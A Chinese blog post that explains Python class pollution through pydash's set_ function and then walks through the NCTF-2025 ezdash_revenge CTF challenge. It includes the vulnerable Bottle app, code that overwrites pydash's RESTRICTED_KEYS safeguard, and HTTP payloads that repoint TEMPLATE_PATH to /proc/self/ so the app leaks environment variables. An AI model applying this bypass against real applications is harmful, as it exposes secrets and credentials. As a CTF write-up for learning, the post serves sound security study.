Pydash中的原型链污染

262次阅读
2 条评论

共计 2973 个字符,预计需要花费 8 分钟才能阅读完成。

闲来无事在 LamentXU的博客上转了转,发现原来pydash中的set_函数也可以拿来用作python原型链污染,突然有了兴致,在网上收集一些资料后写下了这篇文章。

pydash中有个set_函数

Pydash中的原型链污染

可以访问修改指定函数或者模块中的值,如下面这串代码

import pydash
from pydash import set_
class User:
    def __init__(self):
        pass
test_str = '12345'
#set_(pydash,'helpers.RESTRICTED_KEYS','123')
set_(User(),'__class__.__init__.__globals__.test_str','789666')
print(test_str)

将访问user()函数的属性,再以他为跳板,访问全局变量,从而修改test_str

但实际操作中(可能是版本的原因)你会发现代码会报错

这是因为pydash中有一个类似waf的东西(暂时先这么理解)

Pydash中的原型链污染

这里会提示restricted key not allowed

这里的restricted key是一个常量,位于pydash.helpers.RESTRICTED_KEY

我们呢该如何绕过这个检验呢?

很简单,只需要把这个restricted_key也污染就行了

Pydash中的原型链污染

我们可以断点调试自己看看

import pydash
from psutil import users
from pydash import set_
class User:
    def __init__(self):
        pass
test_str = '12345'
a=User()
set_(pydash,'helpers.RESTRICTED_KEYS','123')
set_(User(),'__class__.__init__.__globals__.test_str','789666')
print(test_str)

这里我们将key污染成123

Pydash中的原型链污染

可以看到是成功污染的,失去了key的校验,接下来的对全局变量的访问也就简单了

继续运行代码即可

Pydash中的原型链污染

最后我们运行完成后也可以看到成功将str污染成自己的结果

在实战中,我们需要多加注意自己可控的变量,如果set_函数中有我们可控的地方,就可以尝试原型链污染。

这里我们拿一道 LamentXU师傅博客里面的题来进行讲解,思路也基本一样。可能会更详细一点(也可能不)如果看不懂就移步到https://www.cnblogs.com/LAMENTXU/articles/18799383吧。

NCTF-2025 ezdash_revenge

源码贴脸

'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
               '__code__', '__defaults__', '__delattr__', '__dict__',
               '__dir__', '__doc__', '__eq__', '__format__',
               '__ge__', '__get__', '__getattribute__',
               '__gt__', '__hash__', '__init__', '__init_subclass__',
               '__kwdefaults__', '__le__', '__lt__', '__module__',
               '__name__', '__ne__', '__new__', '__qualname__',
               '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
               '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
               "Optional","render"
               ]
__forbidden_name__=[
    "bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
    if name.find("__")>=0: return False
    for word in __forbidden_name__:
        if name==word:
            return False
    for word in __forbidden_path__:
        if path.find(word)>=0: return False
    obj=globals()[name]
    try:
        pydash.set_(obj,path,value)
    except:
        return False
    return True

@bottle.post('/setValue')
def set_value():
    name = bottle.request.query.get('name')
    path=bottle.request.json.get('path')
    if not isinstance(path,str):
        return "no"
    if len(name)>6 or len(path)>32:
        return "no"
    value=bottle.request.json.get('value')
    return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
    path=bottle.request.query.get('path')
    if len(path)>10:
        return "hacker"
    blacklist=["{","}",".","%","<",">","_"] 
    for c in path:
        if c in blacklist:
            return "hacker"
    return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

这里render路由限制了太多,基本上废了(还是有点用处)

我们来看setValue路由

这里有个很明显的特点就是 pydash.set_函数

而且三个函数的值全部是可控的

那么很明显就是要用到一个原型链污染了

这里我们可以先将restricted_key污染

payload:

http://127.0.0.1:8000/setValue?name=pydash
json:
{
"path": "helpers.RESTRICTED_KEYS",
"value": "123"
}
Pydash中的原型链污染

失去restricted_key后我们就可以放开手脚干活了

(后面和 LamentXU师傅的一样)我们可以污染TEMPLATE_PATH实现渲染environ后输入(结合/render路由)

payload

POST /setValue?name=setval HTTP/1.1
{
"path": "__globals__.bottle.TEMPLATE_PATH",
"value": ["./","./views/",
	"/proc/self/"
]
}

之后访问/render?path=environ即可

正文完
 1
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-05-08发表,共计2973字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(2 条评论)
Bail
2025-07-17 20:17:58 回复

很有生活了

 Linux  Edge  中国重庆重庆市联通
akdf
2025-08-05 14:41:38 回复

主包快更新

 Windows  Edge  中国四川省绵阳市联通